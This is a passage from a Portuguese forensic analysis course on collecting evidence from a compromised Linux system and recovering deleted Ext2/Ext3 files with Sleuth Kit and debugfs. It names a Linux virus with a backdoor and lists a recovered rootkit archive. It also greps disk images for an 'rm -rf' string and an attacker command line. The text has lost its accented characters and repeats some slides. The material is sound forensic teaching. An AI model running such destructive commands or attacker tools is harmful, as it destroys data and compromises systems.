imagem analisada nesta sesso. A anlise forense
um processo cclico, demorado e sujeito a erros.
importante tentar correlacionar evidncias para
garantir a validade das informaes coletadas.

Coleta de evidncias

Checando arquivos importantes do sistema


Chkrootkit e ClamAV, disponveis no CD do Helix,
podem ser ferramentas importantes para o investigador encontrar arquivos suspeitos na mquina comprometida. Por exemplo, o ClamAV encontrou no sistema
a presena de um vrus para Linux chamado Linux/
RST.b, que infecta arquivos no diretrio corrente e no
/bin. Ele tambm abre um backdoor na mquina que
pode ser acessado atravs do protocolo EGP.
Este vrus foi instalado quando o invasor executou uma
das ferramentas baixadas aps invadir a mquina, o
que mostra que muitas vezes o invasor no tem noo
do que est instalando na mquina, e que ela pode
ficar vulnervel no apenas ao invasor original, mas
a outros que tenham acesso a esses backdoors.
O arquivo /dev/hdx1 foi criado na instalao do vrus
RST.B no sistema. Ele indica que o usurio que executou a ferramenta infectada estava com permisso
de super usurio no momento.
O comando acima procura pelos arquivos modificados ou acessados aps a criao desse arquivo,
e a listagem contm diversos arquivos instalados
pelo hacker, ferramentas utilizadas em ataque,
modificaes em arquivos do sistema, entre outras
informaes importantes.

Concluses
Na prxima sesso veremos as ferramentas e tcnicas para recuperao completa ou parcial de evidncias removidas do disco.
Veremos tambm algumas tcnicas para anlise de
arquivos suspeitos encontrados. Apesar desta ser a
parte mais demorada do processo, veremos que as
tcnicas so simples e de fcil execuo.

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 4

82

4
Sesso de aprendizagem 4
Coleta de evidncias
Roteiro de atividades
Tpicos e conceitos
\\A

anlise forense de mdias tem o objetivo de recuperar evidncias que


comprovem a invaso do computador analisado.

Competncias tcnicas desenvolvidas


\\Coletar

evidncias de um sistema comprometido.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-110

minutos

Escola Superior de Redes RNP

84

Atividade 1 Coletando evidncias


1. Juntamente com um colega, utilize as tcnicas aprendidas para procurar por
mais evidncias no disco. Veja quais evidncias consegue encontrar alm
das que j foram vistas. Use como base os comandos estudados durante a
sesso, para encontrar evidncias alm das comentadas no texto.
2. Crie fichas de evidncia para os arquivos de log encontrados. Procure
pelos outros arquivos comentados no texto terico e que no foram
encontrados. Crie as respectivas fichas de identificao, e tambm as
fichas de identificao para os arquivos encontrados no exerccio
anterior.

Anlise forense Sesso de aprendizagem 4

5
Sesso de aprendizagem 5
Recuperao e anlise de evidncias
Sumrio da sesso
Recuperao e anlise de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
Estrutura do sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
Recuperao de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
Recuperao de arquivos sobrescritos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
Recuperao de arquivos journaling. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Atividade 1 Rastreando eventos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Atividade 2 Buscando ferramentas na internet. . . . . . . . . . . . . . . . . . . . . . . . 98

86

Escola Superior de Redes RNP

Recuperao e anlise de evidncias


O processo de procurar evidncias cclico, e o
analista deve continuar procurando enquanto
necessitar de evidncias para comprovar a invaso e
encontrar o responsvel.
As ferramentas vistas at agora so teis apenas para
procurar arquivos que ainda estejam disponveis no
sistema de arquivos.
O que fazer, ento, quando os arquivos foram
apagados?

Recuperao e anlise de evidncias


As tcnicas e ferramentas que veremos a seguir se
aplicam a praticamente qualquer sistema de arquivos
Unix e Windows que no utilizem journaling. Neste
caso, precisamos utilizar uma ferramenta especfica
para cada caso. Nesta sesso estudaremos como
recuperar arquivos em um sistema Ext3 (third extended
file system), o padro de sistema de arquivos do Linux.
Um invasor costuma apagar seus rastros quando
percebe que est sendo monitorado ou correndo o
risco de ser encontrado

Recuperao e anlise de evidncias


Invasores costumam apagar seus rastros quando
percebem que esto sendo monitorados.
necessrio utilizar ferramentas para recuperar
arquivos apagados.
A principal dificuldade para recuperar arquivos
apagados o fato de que os dados podem ter sido
sobrescritos.
Verses mais novas de alguns sistemas operacionais
utilizam journaling file systems.
Estes sistemas de arquivo tm um registro de todas
as atividades realizadas no disco.

Estrutura do sistema de arquivos


O sistema de arquivos do Linux conhecido como
Extended Filesystem (Ext)
Existem dois padres: Ext2 e Ext3
A principal estrutura do Ext2 chamada de
superblock
O bloco de disco a menor estrutura de
armazenamento no sistema de arquivos, utilizado para
armazenar o contedo dos arquivos
O inode a estrutura que armazena as informaes
sobre cada arquivo

A principal dificuldade para recuperar arquivos


apagados o fato de que os dados podem ter sido
sobrescritos. Alm disso, as verses mais novas de
alguns sistemas operacionais utilizam um tipo de sistema de arquivos conhecido como journaling file systems. Estes sistemas de arquivo tm um registro de
todas as atividades realizadas no disco, permitindo
uma recuperao mais rpida e segura em caso de
parada no intencional do sistema.
Um exemplo de sistema de arquivos com journaling
utilizado pelo Linux o Ext3.

Estrutura do sistema de arquivos


O sistema de arquivos do Linux conhecido como
Extended Filesystem (Ext).
Existem dois padres:
\\Ext2,

utilizado em verses mais antigas do kernel;

\\Ext3,

um sistema de arquivos com journaling e


estrutura compatvel com o Ext2.

A principal estrutura do Ext2 chamada de superblock.


Ela armazena as informaes sobre as caractersticas
do sistema de arquivos e as informaes sobre posies (livres e ocupadas) do disco.
O bloco de disco a menor estrutura de armazenamento no sistema de arquivos.
Ele utilizado para armazenar o contedo dos arquivos.

Anlise forense Sesso de aprendizagem 5

87

Arquivos menores que o tamanho do bloco de disco desperdiam o restante do


bloco. O inode a estrutura que armazena as informaes sobre cada arquivo.

Estrutura do sistema de arquivos


Cada inode armazena diversas informaes sobre um
arquivo:
Identificao do proprietrio do arquivo
Tipo de arquivo (regular, diretrio, dispositivos etc)
Permisses de acesso
Nmero de hard links
Tamanho do arquivo
Tempos de acesso/modificao/status do arquivo
Tabela de contedo (endereos dos blocos que
armazenam os dados do arquivo)

Estrutura do sistema de arquivos


Ao apagar um arquivo em um sistema com Ext2, o
sistema realiza as seguintes funes:
O inode alocado ao arquivo marcado como livre;
Este inode colocado na lista de inodes livres do superblock

O nmero de inodes livres incrementado no superblock


Os blocos de disco utilizados pelo arquivo so recolocados na
lista de blocos livres
O nmero de blocos livres incrementado no superblock

Em nenhum momento, o contedo dos blocos ou do


inode apagado, o que permite a recuperao de
arquivos apagados

Recuperao e anlise de evidncias

Podemos ver na figura que quando o tamanho de um


arquivo no cabe no limite mximo de blocos que
podem ser endereados diretamente (12 blocos), um
destes blocos utilizado para enderear indiretamente outros blocos.
Este processo pode ser repetido para blocos duplamente e triplamente endereados, permitindo arquivos com tamanhos considerveis.

88

Escola Superior de Redes RNP

Estrutura do sistema de arquivos


Ext3 um sistema de arquivos com journaling, que mantm
um registro de todas as operaes de leitura e escrita em
disco .
O problema do Ext3 que o sistema trata de forma diferente
o processo de apagamento de um arquivo:
Blocos de disco agrupados em blocos.
As tabelas de inodes tambm so associadas a estes grupos de
blocos, e os inodes nestas tabelas so localizados sempre dentro do
mesmo grupo.
Quando um arquivo criado, o sistema operacional aloca um inode e
blocos para este arquivo dentro do mesmo grupo de blocos do
diretrio pai.
Ao apagar um arquivo em um sistema Ext3, o kernel do Linux zera o
tamanho do arquivo e o endereo da lista de blocos no inode.

Recuperao de arquivos
Para recuperar arquivos, precisamos descobrir em
qual inode o arquivo procurado estava armazenado
Se no for possvel descobrir o inode, talvez
possamos recuperar apenas parte do arquivo
Podemos utilizar ferramentas para analisar o disco e
encontrar as informaes necessrias sobre os
arquivos apagados
Em ltimo caso, podemos utilizar ferramentas como
grep e strings para descobrir onde a informao
procurada est armazenada

Anlise forense Sesso de aprendizagem 5

O journaling um registro das atividades do sistema


de arquivos. O sistema operacional grava esse
registro antes de gravar o dado no disco, para que
seja possvel recuperar a estrutura do sistema de
arquivos caso ocorra uma falha grave durante uma
operao de escrita. Com esse registro, o sistema
pode recuperar um estado anterior do disco, fixando
qualquer problema causado pela falha.
Alm dessa caracterstica, o Ext3 tambm precisou
modificar o processo de remoo de um arquivo,
para garantir a integridade dos dados. Por isso, ao
remover um arquivo, os endereos de bloco e o
tamanho do arquivo so zerados no inode.

Recuperao de arquivos
Vemos aqui informaes importantes sobre o sistema de arquivos, como o tamanho do bloco de
dados e informaes sobre a disponibilidade de
inodes e blocos de dados. O primeiro passo descobrir informaes sobre o sistema de arquivos:
# fsstat -f linux-ext2 /data/compromised/compromise
d_hda1.img8
FILE SYSTEM INFORMATION
-------------------------------------------File System Type: Ext2
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Wed Jan 16 21:06:57 2008
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Wed Jan 16 21:05:40 2008

METADATA INFORMATION
-------------------------------------------Inode Range: 1 - 117760
Root Directory: 2
Free Inodes: 87861
CONTENT INFORMATION
-------------------------------------------Block Range: 0 - 235515
Block Size: 4096
Free Blocks: 155704

89

Recuperao de arquivos
Para recuperar um arquivo que no tenha sido
sobrescrito, o procedimento o seguinte:
Encontre o inode onde o arquivo estava armazenado:
fls adpr /data/compromised/compromised_hda1.img

Descubra mais informaes sobre o arquivo:

istat /data/compromised/compromised_hda1.img 47147

Encontre o nome original do arquivo:

O primeiro comando lista todos os arquivos da imagem que foram removidos. Dessa forma podemos
encontrar o inode do arquivo que nos interessa.
Com o inode, podemos utilizar o istat para descobrir
os blocos onde este arquivo est armazenado. E
com o ffind, descobrir o nome original do arquivo,
caso ele tenha sido realocado.

ffind -a /data/compromised/compromised_hda1.img 47147

Recupere o arquivo armazenado no inode encontrado:


icat /data/compromised/compromised_hda1.img 47147 >
/data/compromised/s.tgz

Recuperao de arquivos sobrescritos


Para recuperar arquivos que tenham sido
sobrescritos, o procedimento diferente:
Para facilitar, precisamos extrair do disco todos os
blocos no alocados para nenhum arquivo:
# dls f linux-ext2
/data/compromised/compromised_hda1.img >
/data/compromised/compromised_hda1.img.dls 

Descubra em que posio no arquivo est localizada a


informao que procura:
# grep ab "rm -rf"
/data/compromised/compromised_hda1.img.dls 

Finalmente, com o icat podemos recuperar completamente o arquivo original.

Recuperao de arquivos sobrescritos


Caso o arquivo tenha sido sobrescrito parcialmente, o
processo um pouco diferente.
Primeiramente, precisamos diminuir a regio onde
vamos procurar pelas partes do arquivo. Como ele
foi removido, sensato pensar que o arquivo est
armazenado nos blocos no alocados do disco.
Fazemos isso com o comando dls, que extrai o
espao no alocado da imagem original.
A seguir, procuramos o contedo que nos interessa,
como vimos na sesso 3.

Recuperao de arquivos sobrescritos


Agora, descubra onde essa informao est localizada
no disco original:
# echo $((66511837/4096)) 
16238
# dcalc u 16238 /data/compromised/compromised_hda1.img 
39342

Caso o bloco no esteja alocado por nenhum inode,


recupere os blocos de dados que conseguir:
# ifind a d 39342
/data/compromised/compromised_hda1.img 
Inode not found

Recuperao e anlise de evidncias

Descobrindo a posio na imagem de dados desalocados, utilizamos o dcalc para encontrar a posio
na imagem original.
Se o ifind no encontrar nenhum inode apontando para
este bloco de disco, precisamos recuperar bloco a
bloco at conseguir toda informao possvel do
arquivo.

90

Escola Superior de Redes RNP

Recuperao de arquivos sobrescritos


Ao examinar o contedo do bloco, vemos que ele parte de um
arquivo TAR. Para tentar recuperar este arquivo, podemos
recuperar bloco por bloco do disco at montar o arquivo completo.
Primeiro, vamos analisar diversos blocos ao redor do bloco que
achamos, para descobrir onde o arquivo termina:
# dcat -f linux-ext2
/data/compromised/compromised_hda1.img 39341 1000

Procuramos por um texto que esteja prximo do fim do arquivo:


# grep -ab './udhss -f ./s'
/data/compromised/compromised_hda1.img.dls

Recuperao de arquivos sobrescritos


Encontramos o bloco de disco que armazena esta
informao e o nmero de blocos que devemos
recuperar:
# dcalc -u 16839
/data/compromised/compromised_hda1.img 
# echo $((39943-39341)) 
602

Finalmente, recuperamos os blocos do arquivo:

# dcat -f linux-ext2
/data/compromised/compromised_hda1.img 39341 
602 > /data/compromised/recovered.tar

Em alguns casos, possvel identificar o tipo do


arquivo, e baseado na assinatura do arquivo, encontrar o incio e o fim do mesmo. No nosso caso, descobrimos um arquivo TAR.
Realizando uma procura nos blocos adjacentes ao
bloco que achamos anteriormente, podemos encontrar
o fim do arquivo, como fizemos no primeiro e segundo
exemplos. Ao encontrar o bloco que armazena o fim do
arquivo, como j temos o bloco que armazena o incio
do arquivo, podemos recuperar os blocos do arquivo
completamente. Finalmente, com o comando dcat,
recuperamos os blocos de que precisamos.
Aqui vale lembrar de uma coisa. Normalmente, o
sistema operacional tenta alocar blocos consecutivos
para um arquivo. Por isso possvel recuperar um
arquivo ao recuperar os blocos da forma como fizemos.
Caso o arquivo esteja armazenado em blocos no
consecutivos, talvez no seja possvel recuperar o
arquivo completo.
Como vimos, possvel recuperar o arquivo quase
totalmente:
# tar tvf /data/compromised/recovered.tar8

Recuperao de arquivos sobrescritos


# tar tvf /data/compromised/recovered.tar
tar: This does not look like a tar archive
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r
190 2001-04-15 14:56:20 rootkit/scan/.. /xdr
-rwxr-xr-x hack3r/hack3r
840 2001-04-15 14:55:58 rootkit/scan/.. /rdx
-rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 rootkit/scan/.. /cl.sh
...
-rw------- hack3r/hack3r 307200 2001-08-03 09:41:20 rootkit/core
...
-rw-r--r-- hack3r/hack3r
64 2001-11-24 10:34:07 rootkit/ess-0.8.6/install
-rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54 rootkit/udhss
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r
158 2001-11-24 16:59:35 rootkit/rula
tar: Error exit delayed from previous errors

tar: This does not look like a tar archive


tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 ro
otkit/scan/.. /xdr
-rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 ro
otkit/scan/.. /rdx
-rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 ro
otkit/scan/.. /cl.sh
...
-rw------- hack3r/hack3r 307200 2001-08-03 09:41:20
rootkit/core
...
-rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 roo
tkit/ess-0.8.6/install
-rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54
rootkit/udhss
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 ro
otkit/rula
tar: Error exit delayed from previous errors

Um arquivo TAR pode conter informaes importantes sobre quem o criou. Neste caso,
vemos o username e o grupo do usurio que criou o arquivo TAR. Alm disso, observamos que o arquivo TAR contm um arquivo chamado core. Conforme examinaremos na
prxima sesso, esse arquivo pode conter informaes valiosas sobre o invasor.
Verificamos ainda na sada do comando que o arquivo foi recuperado quase totalmente, apenas com alguns erros que foram mostrados pelo comando.
Anlise forense Sesso de aprendizagem 5

91

Recuperao de arquivos journaling


No Ext3, o processo para recuperar arquivos mais
difcil e muitas vezes no podemos recuperar
totalmente o arquivo:
A lista de blocos que apontam para o contedo dos
arquivos zerada quando o arquivo removido.
Vamos conhecer uma tcnica para recuperar um
arquivo em um sistema de arquivos Ext3.
Para isso, vamos utilizar as informaes gravadas no
journaling do sistema de arquivos para recuperar as
informaes que foram apagadas do inode original.

Recuperao de arquivos journaling


Vimos tcnicas para recuperar arquivos em sistemas
Ext2; apesar de algumas vezes ser demorado, o
processo no complexo.
No Ext3, o processo para recuperar arquivos
mais difcil e muitas vezes no podemos recuperar
totalmente o arquivo, porque a lista de blocos que
apontam para o contedo dos arquivos zerada
quando o arquivo removido. Isto faz com que no
seja mais possvel acessar o contedo do arquivo a
partir das informaes presentes no inode.

Vamos conhecer uma tcnica para recuperar um arquivo em um sistema de arquivos


Ext3. Para isso, vamos utilizar as informaes gravadas no journaling do sistema de
arquivos para recuperar as informaes que foram apagadas do inode original.

Recuperao de arquivos journaling


Quando feita qualquer atualizao no sistema de
arquivos, o journaling guarda uma cpia completa do
inode modificado no journal
Como no queremos prejudicar nenhuma evidncia na
imagem que estamos utilizando, vamos realizar os
exerccios a seguir no disco da mquina virtual de
nossa estao forense
Para isso, vamos criar um arquivo, apag-lo do disco,
e tentar recuper-lo utilizando as informaes do
journal

Recuperao de arquivos journaling


Criar o arquivo de exemplo e coletar informaes:

# gzip -9 -c /data/compromised/compressed.files > /data/compromised/test.gz


# ls -li /data/compromised/test.gz
937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /data/compromised/test.gz
# istat /dev/sda5 937288
inode: 937288
Allocated
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r-size: 5252
num of links: 1
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:06:13 2008
Inode Modified: Thu Jan 17 12:06:13 2008
Direct Blocks:
262651 262652

Quando feita qualquer atualizao no sistema de arquivos, o journaling guarda uma cpia completa do inode
modificado no journal, o que nos permite recuperar a
informao original que existia em um inode, bastando
recuperar a cpia do inode armazenada no journal.
Como no queremos prejudicar nenhuma evidncia
na imagem que estamos utilizando, vamos realizar
os exerccios a seguir no disco da mquina virtual
de nossa estao forense. Para isso, vamos criar
um arquivo, apag-lo do disco, e tentar recuper-lo
utilizando as informaes do journal.
Ateno: como este exerccio vai ser feito no disco
que o aluno est utilizando para realizar todos os
exerccios, possivelmente os valores de inode e
blocos estaro diferentes dos que o aluno encontrar em sua mquina. Basta que o aluno adapte os
valores de inodes e blocos de dados mostrados aqui
para os encontrados em sua mquina.
Inicialmente, vamos criar o arquivo que usaremos
como exemplo, e coletar algumas informaes sobre
o mesmo antes de apagar, para compar-las depois:
# gzip -9 -c /data/compromised/compressed.files > /d
ata/compromised/test.gz8
# ls -li /data/compromised/test.gz8
937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /
data/compromised/test.gz

# istat /dev/sda5 9372888

Recuperao e anlise de evidncias

92

Escola Superior de Redes RNP


inode: 937288
Allocated
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r-size: 5252
num of links: 1
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:06:13 2008
Inode Modified: Thu Jan 17 12:06:13 2008
Direct Blocks:
262651 262652

Aqui apenas criamos o arquivo que usaremos como exemplo, e mostramos com ls
li e istat algumas informaes sobre o arquivo e o inode onde ele est armazenado, para compararmos posteriormente com o resultado obtido.

Recuperao de arquivos journaling


Com istat descobrimos as datas de modificao e criao e os blocos onde
o arquivo est armazenado:
# rm -f /data/compromised/test.gz
# ls -li /data/compromised/*.gz
ls: /data/compromised/*.gz: No such file or directory
# istat /dev/sda5 937288
inode: 937288
Not Allocated
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r-size: 0
num of links: 0
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:09:54 2008
Inode Modified: Thu Jan 17 12:09:54 2008
Deleted: Thu Jan 17 12:09:54 2008
Direct Blocks:

Finalmente com o istat descobrimos mais dados


sobre o inode, tal como as datas de modificao
e criao, alm dos blocos onde o arquivo est
armazenado:
# rm -f /data/compromised/test.gz8
# ls -li /data/compromised/*.gz8
ls: /data/compromised/*.gz: No such file or directory
# istat /dev/sda5 9372888
inode: 937288
Not Allocated
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r-size: 0
num of links: 0
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:09:54 2008
Inode Modified: Thu Jan 17 12:09:54 2008
Deleted: Thu Jan 17 12:09:54 2008
Direct Blocks:

Removemos o arquivo e listamos informaes do inode, mostrando que este no


est mais alocado, e que no temos mais o tamanho e a lista de blocos onde
o arquivo foi armazenado. Alm disso, temos uma nova informao: a data de
remoo do arquivo.

Anlise forense Sesso de aprendizagem 5

93

Recuperao de arquivos journaling


Utilizar as informaes presentes no journal do
sistema de arquivos para tentar recuperar a lista de
blocos original do inode.
Quando o arquivo foi removido, uma cpia do inode
original foi copiada para o journal antes que as
informaes fossem zeradas.
Se conseguirmos recuperar essa informao,
poderemos recuperar o arquivo original.
Ferramenta debugfs permite acessar o sistema de
arquivos diretamente.

Quando precisamos recuperar uma evidncia do


disco, podemos utilizar as informaes presentes no
journal do sistema de arquivos para tentar recuperar
a lista de blocos original do inode.
Lembre-se: ao remover o arquivo, uma cpia do inode
original foi copiada para o journal antes que as informaes fossem zeradas. Se conseguirmos recuperar
essa informao, poderemos recuperar o arquivo original. Para realizar essa operao, vamos conhecer uma
nova ferramenta, chamada debugfs. Esta ferramenta,
presente em praticamente qualquer distribuio Linux,
permite acessar diretamente o sistema de arquivos.

O debugfs funciona tanto com o Ext2 quanto com o Ext3 e tem a capacidade de
acessar as informaes do journal do sistema de arquivos. uma ferramenta
presente no pacote E2fsprogs, que normalmente instalado com qualquer distribuio Linux, ou seja, est presente em praticamente qualquer Linux. Entretanto,
s pode ser utilizado para Ext2 ou Ext3. Existem outras verses para sistemas
especficos, como o debugfs-reiser4 para ReiserFS.
Vamos utilizar o debugfs, pois ele tem a capacidade de listar as informaes presentes no journal do sistema de arquivos.

Recuperao de arquivos journaling


# debugfs /dev/sda5
debugfs 1.39-WIP (10-Dec-2005)
debugfs: logdump -i <937288>
Inode 937288 is at group 58, block 1900546, offset 896
Journal starts at block 1, transaction 116

FS block 1900546 logged at sequence 1143, journal block 6560


(inode block for inode 937288):
Inode: 937288
Type: regular
Mode: 0644
Flags: 0x0
User:
0
Group:
0
Size: 5252

ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008


atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal block 6570
(inode block for inode 937288):
Inode: 937288
Type: regular
Mode: 0644
Flags: 0x0
User:
0
Group:
0
Size: 0

ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008


atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
Blocks:
No magic number at block 6578: end of journal.

Recuperao e anlise de evidncias

Generation: 1159893987

Generation: 1159893987

# debugfs /dev/sda58
debugfs 1.39-WIP (10-Dec-2005)
debugfs: logdump -i <937288>
Inode 937288 is at group 58, block 1900546, offset 896
Journal starts at block 1, transaction 116

FS block 1900546 logged at sequence 1143, journal


block 6560
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags: 0x0
Generation: 1159893987
User: 0 Group: 0 Size: 5252

ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008


atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal
block 6570
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags:
0x0 Generation: 1159893987
User: 0 Group: 0 Size: 0

ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008


atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
Blocks:
No magic number at block 6578: end of journal.

94

Escola Superior de Redes RNP

Vemos aqui a execuo do comando. O debugfs abre um prompt onde podemos


digitar comandos para acessar diretamente o dispositivo analisado.
importante notar que a sada do comando logdump -i pode ser bem longa,
dependendo da atividade do inode pesquisado. O importante procurar a informao mais prxima do timestamp encontrado no inode do arquivo visto anteriormente com o comando istat.
No nosso caso, vemos dois registros importantes: o ltimo o registro do arquivo
removido; podemos verificar na cpia do inode que ele contm a data de remoo
igual a que vimos anteriormente.
O penltimo registro uma cpia do inode original do arquivo, com o tamanho e a
lista de blocos onde o arquivo foi armazenado. Caso existissem blocos endereados
indiretamente, o processo ficaria mais complicado, mas seguiria o mesmo padro.
Com a lista de blocos, podemos recuperar o contedo do arquivo.

Recuperao de arquivos journaling


Utilizar comandos para recuperar os blocos de dados:
# dcat /dev/sda5 262651 2 > /tmp/recover.gz
# file /tmp/recover.gz
/tmp/recover.gz: gzip compressed data, was
"compressed.files", from Unix, max compression

Como agora temos a informao que queremos,


basta utilizar os comandos que vimos anteriormente
para recuperar os blocos de dados:
# dcat /dev/sda5 262651 2 > /tmp/recover.gz8
# file /tmp/recover.gz8

# ls -l /tmp/recover.gz

/tmp/recover.gz: gzip compressed data, was compres


sed.files, from Unix, max compression

-rw-r--r-- 1 root root 8192 Jan 17 12:26


/tmp/recover.gz

# ls -l /tmp/recover.gz8
-rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recov
er.gz

Aqui vemos como recuperar o contedo do arquivo,


e como utilizar o dd para separar os bytes que precisamos dos dados lidos pelo dcat. Isto feito porque o dcat l somente blocos
inteiros, no nosso caso com 4096 bytes. Como podemos ler dois blocos e nosso
arquivo s deveria ter 5252 bytes, h um espao extra no fim do segundo bloco
que precisamos retirar, o que pode ser feito com o comando dd.

Anlise forense Sesso de aprendizagem 5

95

Recuperao de arquivos journaling


O arquivo recuperado contm 8192 bytes e no o
tamanho original de 5252 bytes
O arquivo original pode ser recuperado com dd:
# dd if=/tmp/recover.gz of=/tmp/test_recovered.gz bs=1
count=5252
5252+0 records in
5252+0 records out
5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 kB/s
# gzip -l -t /tmp/test_recovered.gz
compressed
uncompressed ratio uncompressed_name
5252
18067 71.1% /tmp/test_recovered

Observe que o arquivo recuperado contm 8192


bytes, em vez de 5252 bytes, que o tamanho do
arquivo original. Isto acontece pois o dcat apenas
copia blocos inteiros. Como sabemos o tamanho
original do arquivo, podemos recuperar o arquivo
original utilizando o comando dd:
# dd if=/tmp/recover.gz of=/tmp/test_recovered.gz b
s=1 count=52528
5252+0 records in
5252+0 records out
5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 k
B/s
# gzip -l -t /tmp/test_recovered.gz8
compressed uncompressed ratio uncompressed_name
5252 18067 71.1% /tmp/test_recovered

Concluses
Algumas vezes no possvel encontrar no disco as
evidncias necessrias para comprovar o caso de
invaso
As evidncias podem ter sido apagadas ou
sobrescritas
Mesmo assim, existem ferramentas para recuperar
estes dados
Aprendemos tambm um pouco mais sobre a
estrutura dos sistemas de arquivos do Linux, e
tambm como recuperar arquivos em um sistema com
journaling como o Ext3

Recuperao e anlise de evidncias

Concluses

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 5

96

5
Sesso de aprendizagem 5
Recuperao e anlise de evidncias
Roteiro de atividades
Tpicos e conceitos
\\Procurar

por evidncias no sistema de arquivos e ferramentas necessrias na

internet.

Competncias tcnicas desenvolvidas


\\Identificar

os eventos de um sistema comprometido e buscar as ferramentas


necessrias para a investigao.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-120

minutos

Escola Superior de Redes RNP

98

Atividade 1 Rastreando eventos


1. Um dos objetivos da anlise forense tentar descobrir quando foram
realizadas aes na mquina invadida. No sistema que usamos como
exemplo, os arquivos de log foram removidos, dificultando a identificao
de informaes sobre a invaso. Utilizando as ferramentas do pacote
forense, tente recuperar todos os arquivos apagados do diretrio /var/log
da mquina comprometida. Depois, faa um breve relatrio sobre o
contedo de cada arquivo. Voc saberia dizer por que alguns deles no
se parecem com arquivos de log? A atividade deve ser feita em dupla.
2. Mesmo conseguindo recuperar alguns arquivos de log no exerccio
anterior, ainda existem informaes importantes que no foram
recuperadas. No disco ainda existem partes dos arquivos de log de e-mail
e do servidor web. Juntamente com um colega, procure na internet
informaes sobre o formato desses logs, e utilize-as para procurar em
disco por partes importantes destes logs. Utilize para isso os comandos
grep, strings e dcat. A pesquisa deve ser feita em dupla.
3. Crie fichas de identificao para as evidncias encontradas nos dois
exerccios anteriores, conforme mostrado na sesso anterior. Para os
arquivos que no foram recuperados totalmente, a evidncia que deve ser
cadastrada so os inodes onde foram encontrados.

Atividade 2 Buscando ferramentas na internet


1. Como vimos durante a sesso, arquivos apagados em uma partio Ext3
so difceis de recuperar. Muitas vezes, realizar o servio manualmente
no vivel. Procure na internet por ferramentas que realizem a
recuperao de arquivos em sistemas Ext3, e faa um breve relatrio
sobre as caractersticas de cada ferramenta.

Anlise forense Sesso de aprendizagem 5

6
Sesso de aprendizagem 6
Recuperao e anlise de evidncias
(parte 2)
Sumrio da sesso
Recuperao e anlise de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
Anlise de executveis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
Anlise do cdigo. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
Anlise de core dump. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Slack space. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
Atividade 1 Anlise do contedo do arquivo. . . . . . . . . . . . . . . . . . . . . . . . . 114
